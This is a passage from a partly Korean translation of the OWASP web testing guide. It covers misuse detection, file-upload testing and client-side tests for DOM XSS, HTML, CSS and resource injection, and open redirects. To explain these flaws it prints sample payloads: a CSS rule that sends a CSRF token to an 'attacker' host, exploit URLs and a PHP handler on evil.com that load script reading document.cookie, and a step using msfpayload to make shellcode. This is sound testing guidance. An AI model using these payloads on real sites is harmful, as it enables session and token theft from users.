  • Adds time-delays into every request-response cycle
  • Begins to record additional data about the user's interactions (e.g. sanitized HTTP request headers, bodies and response bodies)

If the application does not respond in any way and the attacker can continue to abuse functionality and submit clearly malicious content at the application, the application has failed this test case. In practice the discrete example actions in the example above are unlikely to occur like that. It is much more probable that a fuzzing tool is used to identify weaknesses in each parameter in turn. This is what a security tester will have undertaken too.


테스트 방법

This test is unusual in that the result can be drawn from all the other tests performed against the web application. While performing all the other tests, take note of measures that might indicate the application has in-built self-defense:

  • 변경된 응답
  • 차단된 요청
  • 사용자가 로그아웃하거나 계정 잠금

These may only be localised. Common localized (per function) defenses are:

  • 정확한 문자를 포함한 입력 차단
  • 다 수 인증 실패 이 후 계정 임시 잠금

Localized security controls are not sufficient. There are often no defenses against general mis-use such as:

  • 강제 브라우징
  • 프레젠테이션 층 입력 검증 우회
  • 다양한 접근 제어 에러
  • 추가, 복제 또는 누락된 파라미터 명
  • Multiple input validation or business logic verification failures with values that cannot be the result user mistakes or typos
  • Structured data (e.g. JSPN, XML) of an invalid format is received
  • Blatant cross-site scripting or SQL injection payloads are received
  • Utilising the application faster than would be possible without automation tools
  • Change in continental geo-location of a user
  • Change of user agent
  • Accessing a multi-stage business process in the wrong order
  • Large number of, or high rate of use of, application-specific functionality (e.g. voucher code submission, failed credit card payments, file uploads, file downloads, log outs, etc).

These defenses work best in authenticated parts of the application, although rate of creation of new accounts or accessing content (e.g. to scrape information) can be of use in public areas.

Not all the above need to be monitored by the application, but there is a problem if none of them are. By testing the web application, doing the above type of actions, was any response taken against the tester? If not, the tester should report that the application appears to have no application-wide active defenses against misuse. Note it is sometimes possible that all responses to attack detection are silent to the user (e.g. logging changes, increased monitoring, alerts to administrators and and request proxying), so confidence in this finding cannot be guaranteed. In practice, very few applications (or related infrastructure such as a web application firewall) are detecting these types of misuse.


관련 테스트 케이스

  • 모든 테스트 케이스가 연관성이 있음

도구

  • 다른 테스트에서 사용된 툴들 사용

참고 문헌

  • Resilient Software, Software Assurance, US Department Homeland Security
  • IR 7684 Common Misuse Scoring System (CMSS), NIST
  • Common Attack Pattern Enumeration and Classification (CAPEC), The Mitre Corporation
  • OWASP_AppSensor_Project
  • AppSensor Guide v2, OWASP
  • Watson C, Coates M, Melton J and Groves G, Creating Attack Aware Software Applications with Real-Time Defenses, CrossTalk The Journal of Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011

OTG-BUSLOGIC-008 (예기치 않은 파일 형식 업로드 테스트)


개요

Many application's business processes allow for the upload and manipulation of data that is submitted via files. But the business process must check the files and only allow certain "approved" file types. Deciding what files are "approved" is determined by the business logic and is application/system specific. The risk in that by allowing users to upload files, attackers may submit an unexpected file type that that could be executed and adversely impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or exploit the local vulnerabilities, just to name a few.

Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently "malicious" but may be detrimental to the saved data. For example if an application accepts Windows Excel files, if an similar database file is uploaded it may be read but data extracted my be moved to incorrect locations.

The application may be expecting only certain file types to be uploaded for processing, such as .CSV, .txt files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). This may result in unexpected system or database results within the application/system or give attackers additional methods to exploit the application/system.


예제

Suppose a picture sharing application allows users to upload a .gif or .jpg graphic file to the web site. What if an attacker is able to upload an html file with a <script> tag in it or php file? The system may move the file from a temporary location to the final location where the php code can now be executed against the application or system.


테스트 방법

일반 테스트 방법
  • 프로젝트 문서 검토 및 어플리케이션/시스템에서 "지원하지 않는" 파일 형식을 참는 탐지 테스트 수행
  • "지원하지 않는" 파일을 업로드하고 적절하게 차단하는 지 확인
  • 만약 여러 파일을 한 번에 업로드 할 수 있는 경우, 각 파일이 제대로 차단되었는지 테스트를 해야합니다.

구체적인 테스트 방법 1
  • 어플리케이션 로직 요구사항 연구
  • JSP, EXE, 또는 스크립트가 포함 된 HTML 파일 같은 파일을 포함하여 업로드를 하기 위해

"승인하지 않음"이 있는 파일 라이브러리 준비 - 어플리케이션에서 파일 제출 또는 업로드 메카니즘으로 이동 - 업로드를 하기 위해 "승인하지 않음" 파일 제출하고 업로드로부터 제대로 차단하는지 확인


관련 테스트 케이스

  • 민감한 정보를 확인하기 위해 파일 확장자 처리 테스트 (OTG-CONFIG-003)
  • 악성 파일 형식 업로드 테스트 (OTG-BUSLOGIC-009)

개선 방안

Applications should be developed with mechanisms to only accept and manipulate "acceptable" files that the rest of the application functionality is ready to handle and expecting. Some specific examples include: Black or White listing of file extensions, using "Content-Type" from the header, or using a file type recognizer, all to only allow specified file types into the system.


OTG-BUSLOGIC-009 (악성 파일 형식 업로드 테스트)


개요

수많은 어플리케이션 비즈니스 프로세스는 데이터 및 정보 업로드를 허가합니다.

We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files.

Vulnerabilities related to the uploading of malicious files is unique in that these "malicious" files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.

Finally, "malicious" means different things to different systems, for example Malicious files that may exploit SQL server vulnerabilities may not be considered a "malicious" to a main frame flat file environment.

The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).


예제


Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed.


테스트 방법

일반 테스트 방법
  • Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and "malicious" file in your environment.
  • 알려진 "악성" 파일 개발 또는 획득
  • 어플리케이션 및 시스템에 악성 파일을 업로드하고, 올바르게 차단되는지 확인하십시오.
  • 만약 여러 파일을 한 번에 업로드 할 수 있는 경우, 각 파일이 제대로 차단되었는지 테스트를 해야합니다.

구체적인 테스트 방법 1
  • 메타스플로잇 페이로드 생성 기능을 사용하면, 메타스플로잇 "msfpayload" 명령을 사용하여 윈도우 실행 파일로 쉘 코드를 생성합니다.
  • 어플리케이션 업로드 기능을 통해 실행 파일 제출하고, 적절하게 승인 또는 차단되는 지 확인

구체적인 테스트 방법 2
  • 어플리케이션의 악성 코드 탐지 프로세를 실패하는 파일을 만들거나 개발.

ducklin.htm 또는 ducklin-html.htm과 같이 인터넷에서 많이 이용할 수 있습니다. - 어플리케이션 업로드 기능을 통해 실행 파일 제출하고, 적절하게 승인 또는 차단되는 지 확인

구체적인 테스트 방법 3
  • 프록시를 통해 승인된 파일에 대한 "valid" 요청을 캡쳐 설정
  • 유효/승인할 수 있는 확장자를 통해 "invalie" 요청을 보내고, 적절하게 승인 또는 차단되는 지 확인

관련 테스트 케이스

  • 민감한 정보를 확인하기 위해 파일 확장자 처리 테스트 (OTG-CONFIG-003)
  • 예기치 않은 파일 형식 업로드 테스트 (OTG-BUSLOGIC-008)

도구

  • 메타스플로잇의 페이로드 생성 기능
  • Intercepting proxy

참고 문헌


개선 방안

While safeguards such as black or white listing of file extensions, using "Content-Type" from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them.


10_클라이언트측 테스트

OTG-CLIENT-001 (DOM 기반 크로스 사이트 스크립팅 침투 테스트)


개요

DOM 기반 크로스 사이트 스크립팅은 사실상 XSS 버그로 페이지의 JavaScript에서 사용자 입력을 얻은 다음 안전하지 않은 작업을 수행하여 삽입된 코드가 실행되게 합니다. 이 문서에서는 XSS로 이어지는 JavaScript 버그에 대해서만 설명합니다.

DOM(Documet Object Model)은 브라우져에서 문서를 나타내는 데 사용되는 구조 형식입니다. DOM은 Javascript와 같은 동적 스크립트를 사용하여 form 필드 나 session cookie와 같은 문서의 구성 요소를 참조할 수 있습니다. DOM은 다른 도메인의 스크립트가 다른 도메인의 session cookie를 가져오지 못하도록 제한하는 등의 보안을 위해서도 브라우저에서 사용됩니다. 공격자가 조작할 수 있는 DOM 요소와 같이 특수하게 조작된 요청으로 인해 JavaScript 기능과 같은 활성 콘텐츠가 수정되면 DOM 기반 XSS 취약점이 발생할 수 있습니다. 이 주제에 관한 논문은 거의 발표되지 않았기 때문에, 그 의미와 형식화된 테스트의 표준화가 거의 존재하지 않습니다.


테스트 방법

모든 XSS 버그가 서버에서 반환된 콘텐츠를 공격자가 제어하는 것은 아니지만, 동일한 결과를 얻기 위해 잘못된 JavaScript 코딩 방법을 남용할 수 있습니다. 그 결과는 일반적인 XSS 결함과 동일하며 전달 방법만 다릅니다.

검증되지 않은 파라미터가 서버에서 전달되고 사용자에게 반환되어 사용자의 브라우저 컨텍스트에서 실행되는 다른 크로스 사이트 스크립팅 취약점 (reflected와 stored XSS)과 비교할 때 DOM 기반 XSS 취약점은 흐름을 변경하기 위해 공격자가 만든 코드와 함께 DOM(Document Object Model)의 요소를 사용하여 코드를 작성하십시오. 본래 DOM 기반 XSS 취약점은 서버가 실제로 무엇이 실행되고 있는지를 결정하지 않고 많은 경우에 실행될 수 있습니다. 이로 인해 많은 일반적인 XSS 필터링 및 탐지 기술이 이러한 공격에 무력화 될 수 있습니다.

첫 번째 가상 예제는 다음 클라이언트 사이드를 사용합니다

<script>
document.write("Site is at: " + document.location.href + ".");
</script>

공격자는 영향을 받은 페이지 URL에 #<script>alert('xss')</script>를 추가할 수 있으며. 이 경우 실행될 때 경고 상자가 표시됩니다. 이 경우 #문자가 브라우저에서 쿼리의 일부로 처리되지 않고 조각으로 처리된 이 후 추가된 코드가 서버로 전송되지 않습니다. 이 예제에서는 코드가 즉시 실행되고 "xss"라는 경고가 페이지에 표시됩니다.

코드가 서버로 전송된 다음 다시 브라우저로 돌아오는 일반적인 크로스 사이트 스크립팅 유형(reflected와 stored XSS)과 달리 이는 서버와의 접촉없이 사용자의 브라우저에서 직접 실행됩니다. DOM 기반 XSS 취약점 결과는 쿠키 검색, 추가 악의적인 스크립트 삽입 등을 포함하여 잘 알려진 형태 XSS와 마찬가지로 광범위합니다. 따라서 동일한 심각도로 조치되어야 합니다.


Black Box testing

DOM-Based XSS에 대한 블랙박스 테스팅은 대개 수행되지 않습니다. 소스 코드에 대한 액세스는 실행될 클라이언트로 전송되어 항상 사용 가능하기 때문입니다.


Gray Box testing

DOM 기반 XSS 취약점 테스팅

Javascript 애플리케이션은 서버에 의해 동적으로 생성되는 경우가 많기 때문에 다른 유형의 애플리케이션과 다르며, 실행 중인 코드를 파악하기 위해 테스트중인 웹 사이트를 크롤링하여 사용자 입력을 받거나 실행 중인 Javascript의 모든 인스턴스를 확인해야합니다.

많은 웹 사이트는 수십만 줄의 코드로 확장되고, 사내에서 개발되지 않은 수많은 함수 라이브러리에 의존합니다. 이러한 경우 top-down 테스트는 많은 최하위 레벨 기능이 사용되지 않으므로 실제로 가능한 유일한 옵션이 되며, 싱크가 무엇인지 결정하기 위해 이를 분석하여 자주 사용 가능한 것보다 더 많은 시간을 소비하게 됩니다.

입력 또는 그 부족이 처음부터 확인되지 않은 경우에도 top-down 테스트를 수행할 수 있습니다. 사용자 입력은 두 가지 기본 형식으로 제공됩니다.

  • Input written to the page by the server in a way that does not allow direct XSS
  • Input obtained from client-side JavaScript objects

Here are two examples of how the server may insert data into JavaScript:

var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");

And here are two examples of input from client-side JavaScript objects:

var data = window.location;
var result = someFunction(window.referer);

While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referer object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a URL using the document. and location. attributes. Additionally, JavaScript is often executed outside of <script> blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed. Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:

<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>

but may not be detected in the following contrived case:

<script>
var navAgt = navigator.userAgent;

if (navAgt.indexOf("MSIE")!=-1) {
     document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
    document.write("You are using an unknown browser.");
}
</script>

For this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform addition analysis of the client side code. 이러한 이유로 자동화된 테스트는 테스트 도구가 클라이언트 측 코드에 대한 추가 분석을 수행할 수 없는 경우 DOM 기반 XSS의 영향을 받을 수 있는 영역을 감지하지 못합니다.

Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section.


References

OWASP Resources
  • DOM based XSS Prevention Cheat Sheet

Whitepapers

OTG-CLIENT-002 (자바스크립트 실행 침투 테스트)


개요

A JavaScript Injection vulnerability is a subtype of Cross Site Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim’s browser. This vulnerability can have many consequences, like disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application behavior.


테스트 방법

Such vulnerability occurs when the application lacks of a proper user supplied input and output validation. JavaScript is used to dynamically populate web pages, this injection occur during this content processing phase and consequently affect the victim. When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki. The following script does not perform any validation of the vari able rr that contains the user supplied input via the query string and additionally does not apply any form of encoding:

var rr = location.search.substring(1);
if(rr)
window.location=decodeURIComponent(rr);
This implies that an attacker could inject JavaScript code
simply by submitting the following query string: www.victim.
com/?javascript:alert(1)

Black Box testing

Black box testing for JavaScript Execution is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.


Gray Box testing

Testing for JavaScript Execution vulnerabilities: For example, looking at the following URL: http://www.domxss. com/domxss/01_Basics/04_eval.html

The page contains the following scripts:

<script>
function loadObj(){
var cc=eval(‘(‘+aMess+’)’);
document.getElementById(‘mess’).textContent=cc.message;
}
if(window.location.hash.indexOf(‘message’)==-1)
var aMess=”({\”message\”:\”Hello User!\”})”;
else
var aMess=location.hash.substr(window.location.hash.
indexOf(‘message=’)+8);
</script>

The above code contains a source ‘location.hash’ that is controlled by the attacker that can inject directly in the ‘message’ value a JavaScript Code to take the control of the user browser.


References

OWASP Resources

Whitepapers

OTG-CLIENT-003 (HTML Injection 침투 테스트)


개요

HTML injection is a type of injection issue that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.


테스트 방법

This vulnerability occurs when the user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) the legit from the malicious parts and consequently will parse and execute all as legit in the victim context. There is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is an high risk of XSS, specifically an HTML injection one. Malicious HTML code could be injected for example via innerHTML, that is used to render user inserted HTML code. If strings are not correctly sanitized the problem could lead to XSS based HTML injection. Another method could be document.write() When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki. The innerHTML property sets or returns the inner HTML of an element. An improper usage of this property, that means lack of sanitization from untrusted input and missing output encoding, could allow an attacker to inject malicious HTML code. Example of Vulnerable Code: The following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic html in the page context:

var userposition=location.href.indexOf(“user=”);
var user=location.href.substring(userposition+5);
document.getElementById(“Welcome”).innerHTML=” Hello,
“+user;

In the same way, the following example shows a vulnerable code using the document.write() function:

var userposition=location.href.indexOf(“user=”);
var user=location.href.substring(userposition+5);
document.write(“<h1>Hello, “ + user +”</h1>”);

In both examples, an input like the following:

http://vulnerable.site/page.html?user=<img%20src=’aaa’%20
onerror=alert(1)>

will add to the page the image tag that will execute an arbitrary JavaScript code inserted by the malicious user in the HTML context.


Black Box testing

Black box testing for HTML Injection is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.


Gray Box testing

Testing for HTML Injection vulnerabilities: For example, looking at the following URL:

http://www.domxss.com/domxss/01_Basics/06_jquery_
old_html.html

The HTML code will contains the following script:

<script src=”../js/jquery-1.7.1.js”></script>
<script>
function setMessage(){
var t=location.hash.slice(1);
$(“div[id=”+t+”]”).text(“The DOM is now loaded and can be
manipulated.”);
}
$(document).ready(setMessage );
$(window).bind(“hashchange”,setMessage)
</script>
<body><script src=”../js/embed.js”></script>
<span><a href=”#message” > Show Here</a><div id=”message”>
Showing Message1</div></span>
<span><a href=”#message1” > Show Here</a><div
id=”message1”>Showing Message2</div>
<span><a href=”#message2” > Show Here</a><div
id=”message2”>Showing Message3</div>
</body>

It is possible to inject HTML code.


References

OWASP Resources

Whitepapers

OTG-CLIENT-004 (클라이언트 측 URL 리다이렉션 침투 테스트)


개요

This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.


테스트 방법

This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance. A phishing attack example could be the following:

http://www.target.site?#redirect=www.fake-target.site

The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim’s credentials. Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access.


Black Box testing

Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.


Gray Box testing

Testing for Client Side URL Redirect vulnerabilities:

var redir = location.hash.substring(1);
if (redir)
    window.location=’http://’+decodeURIComponent(redir);

When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code). These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code). In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.

This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:

http://www.victim.site/?#www.malicious.site

Note how, if the vulnerable code is the following

var redir = location.hash.substring(1);
if (redir)
    window.location=decodeURIComponent(redir);

It also could be possible to inject JavaScript code, for example by submitting the following query string:

http://www.victim.site/?#javascript:alert(document.cookie)

When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.

Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/


References

OWASP Resources

Whitepapers

OTG-CLIENT-005 (CSS 인젝션 침투 테스트)


개요

CSS 인젝션 취약점은 신뢰할 수 있는 웹 사이트의 내용에 임의의 CSS 코드를 삽입할 수 있는 기능을 포함하고 있고, 이는 피해자 브라우저에 렌더링될 수 있습니다.

The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.


테스트 방법

어플리케이션이 사용자가 생성한 CSS를 입력할 수 있거나 합법적인 스타일시트로 방해하는 것이 가능하다면 취약점이 발생할 수 있습니다. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided. The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink). This particular case may lead to DOMXSS in older browser versions, such as

DOM XSS Wiki 의 "Style Sinks" 참고

<a id="a1">Click me</a>
<script>
if (location.hash.slice(1)) {
document.getElementById("a1").style.cssText = "color: " +
location.hash.slice(1);
}
</script>

Specifically the attacker could target the victim by asking her to visit the following URLs:

  • www.victim.com/#red;-o-link:'javascript:alert(1)';-o-linksource: current; (Opera [8,12])
  • www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)

The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:

<style>
p {
color: <?php echo $_GET['color']; ?>;
text-align: center;
}
</style>

Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows. In particular, input[ name=csrf_token][value=^a] represents an element with the attribute "name" set "csrf_token" and whose attribute "value" starts with "a". By detecting the length of the attribute "value", it is possible to carry out a brute force attack against it and send its value to the attacker`s domain.

<style>
input[name=csrf_token][value=^a] {
background-image: url(http://attacker/log?a);
}
</style>

Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details.


Black Box testing

We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well

as attributes "style".


Gray Box testing

Testing for CSS Injection vulnerabilities: Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs. The following is a basic example:

<a id="a1">Click me</a>
<b>Hi</b>
<script>
$("a").click(function(){
$("b").attr("style","color: " + location.hash.slice(1));
});
</script>

The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. It is recommended that testers use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context.

References

OWASP Resources

Presentations
  • DOM Xss Identification and Exploitation, Stefano Di Paola

http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf - Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/ watch?v=FIQvAaZj_HA - Bypassing Content-Security-Policy, Alex Kouzemtchenko http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx


Proof of Concepts

OTG-CLIENT-006 (클라이언트 측 리소스 조작 침투 테스트)


개요

A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.


테스트 방법

Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. 이러한 상황에서 악성 객체가 로드되고 렌더링되어만들 때 어플리케이션의 동작을 방해할 수 있습니다. The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the “location.hash” (source) which reaches the attribute “src” of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.

<script>
    var d=document.createElement("script");
    if(location.hash.slice(1))
        d.src = location.hash.slice(1);
    document.body.appendChild(d);
</script>

Specifically the attacker could target the victim by asking her to visit the following URL:

www.victim.com/#http://evil.com/js.js

Where js.js contains:

alert(document.cookie)

다른 흥미롭고 미묘한 경우가 발생할 수 있기 때문에, 스크립트 소스를 제어하는 것은 기본적인 예입니다.

A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. Refer to the following vulnerable code:

<b id="p"></b>
<script>
function createCORSRequest(method, url) {
    var xhr = new XMLHttpRequest();
    xhr.open(method, url, true);
    xhr.onreadystatechange = function () {
        if (this.status == 200 && this.readyState == 4) {
            document.getElementById('p').innerHTML = this.responseText;
        }
    };
    return xhr;
}
var xhr = createCORSRequest('GET', location.hash.slice(1));
xhr.send(null);
</script>

The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler. Exploit URL: www.victim.com/#http://evil.com/html.html

http://evil.com/html.html
----
<?php
header('Access-Control-Allow-Origin: http://www.victim.com');
?>
<script>alert(document.cookie);</script>

Black Box testing

Black box testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.


Gray Box testing

Testing for Client Side Resource Manipulation vulnerabilities: To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.), client side scripts which handle the associated URLs should be investigated for potential issues. The following table shows the possible injection points (sink) that should be checked:

Resource Tag/Method Sink
Frame iframe src
Link a href
AJAX Request xhr.open(method,[url],true); URL href
CSS link  
Image img  
Object object src
Script script data src

The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities.

When trying to check for this kind of issues, consider that some characters are treated differently by different browsers. Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/


References

OWASP Resources

Whitepapers

OTG-CLIENT-007 (크로스 리소스 공유 테스트)


OTG-CLIENT-008 (크로스 사이트 플래싱 침투 테스트)


OTG-CLIENT-009 (클릭재킹 침투 테스트)


OTG-CLIENT-010 (웹소켓 테스트)


OTG-CLIENT-011 (웹 메세징 테스트)


OTG-CLIENT-012 (로컬 스토리지 테스트)